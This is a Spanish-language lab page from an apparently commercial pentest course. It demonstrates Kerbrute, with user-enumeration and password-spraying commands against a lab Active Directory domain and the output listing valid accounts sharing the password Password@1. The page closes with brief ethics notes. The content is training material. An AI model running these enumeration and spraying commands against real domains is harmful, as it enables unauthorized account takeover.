Kerbrute

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/ej3kiu. ¡Te esperamos para empezar este viaje juntos!

OBJETIVO DEL EJERCICIO #13:

Utilizakerbrutepara enumerar usuarios validos y realizar un password spraying. Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.

Kerbrute es una herramienta de seguridad informática diseñada para realizar ataques de fuerza bruta y enumeración contra el protocolo de autenticación Kerberos en entornos de Active Directory (AD). Fue desarrollada para ayudar en la evaluación de seguridad de redes AD, identificando cuentas de usuario válidas y posiblemente contraseñas débiles.

¿Qué es Kerberos?

Antes de entrar en detalle sobre Kerbrute, es importante entender qué es Kerberos.

Funcionamiento de Kerbrute

Kerbrute realiza su funcionalidad principalmente a través de dos métodos: ataques de fuerza bruta y enumeración de usuarios. Aquí te detallo cómo funciona cada uno:

  1. Ataques de Fuerza Bruta:

    • Kerbrute puede probar combinaciones de nombres de usuario y contraseñas para intentar autenticarse contra un dominio de AD utilizando Kerberos.

    • La herramienta intenta autenticarse con diferentes contraseñas para cada cuenta de usuario, lo que puede revelar contraseñas débiles o comunes.

  2. Enumeración de Usuarios:

    • Kerbrute también puede realizar la enumeración de usuarios. En este modo, la herramienta intenta autenticarse utilizando nombres de usuario válidos con contraseñas incorrectas.

    • Kerberos, en algunos casos, responderá de manera diferente a una solicitud de autenticación si el nombre de usuario es válido, incluso si la contraseña es incorrecta. Esto puede permitir a Kerbrute identificar cuentas de usuario válidas sin conocer la contraseña.

Técnicas de Enumeración

Identificando usuarios validos

Se recomienda la siguiente herramienta para encontrar usuarios de compañias:

Para CTFs y examenes de certificaciones ofensivas, se recomienda:

  • Respuestas Diferenciadas: Kerberos puede devolver errores distintos si el nombre de usuario es válido o no, lo que permite a Kerbrute distinguir entre cuentas existentes y no existentes.

  • Uso de Listas de Nombres de Usuario: Kerbrute puede trabajar con listas de nombres de usuario posibles para realizar la enumeración, probando cada uno contra el servidor de AD.

┌──(root㉿kali)-[/home/kali]
└─#  ./kerbrute_linux_amd64 userenum --dc 10.0.1.100 -d spartancybersec.corp ./users

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 03:27:21 >  Using KDC(s):
2023/11/13 03:27:21 >   10.0.1.100:88

2023/11/13 03:27:21 >  [+] VALID USERNAME:       gpowrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       compwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       groupwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       constrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       dnsadmin.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       regular.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       writedacldc.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userwrite.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       unconstrained.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       lapsread.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       userall.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       clearpass.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       readgmsa.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       roast.user@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       AdminWebServer@spartancybersec.corp
2023/11/13 03:27:21 >  [+] VALID USERNAME:       asrep.user@spartancybersec.corp

Realizando un password spraying con usuarios validos

Teniendo en cuenta que localizamos una contraseña utilizada en un usuario en Credenciales en descripcion vamos a realizar un password Spraying contra todos los usuarios:

┌──(root㉿kali)-[/home/kali]
└─# ./kerbrute_linux_amd64 passwordspray --dc 3.149.246.12 -d spartancybersec.corp ./users.txt Password@1

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 11/13/23 - Ronnie Flathers @ropnop

2023/11/13 20:10:28 >  Using KDC(s):
2023/11/13 20:10:28 >  	3.149.246.12:88

2023/11/13 20:10:29 >  [+] VALID LOGIN:	 constrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 unconstrained.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 groupwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 lapsread.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 compwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 dnsadmin.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 regular.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userall.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 userwrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 gpowrite.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 asrep.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 clearpass.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 readgmsa.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 writedacldc.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 AdminWebServer@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  [+] VALID LOGIN:	 roast.user@spartancybersec.corp:Password@1
2023/11/13 20:10:29 >  Done! Tested 16 logins (16 successes) in 0.696 seconds

Consideraciones de Seguridad y Uso Ético

  • Detección y Bloqueo: Los intentos de autenticación fallidos pueden ser detectados y resultar en el bloqueo de cuentas, lo que puede causar problemas en una red de producción. Por eso, el uso de Kerbrute debe hacerse con cuidado y solo en entornos controlados o autorizados.

  • Uso Ético: Kerbrute es una herramienta poderosa que debe utilizarse exclusivamente para pruebas de penetración autorizadas o evaluaciones de seguridad, no para actividades maliciosas.

Última actualización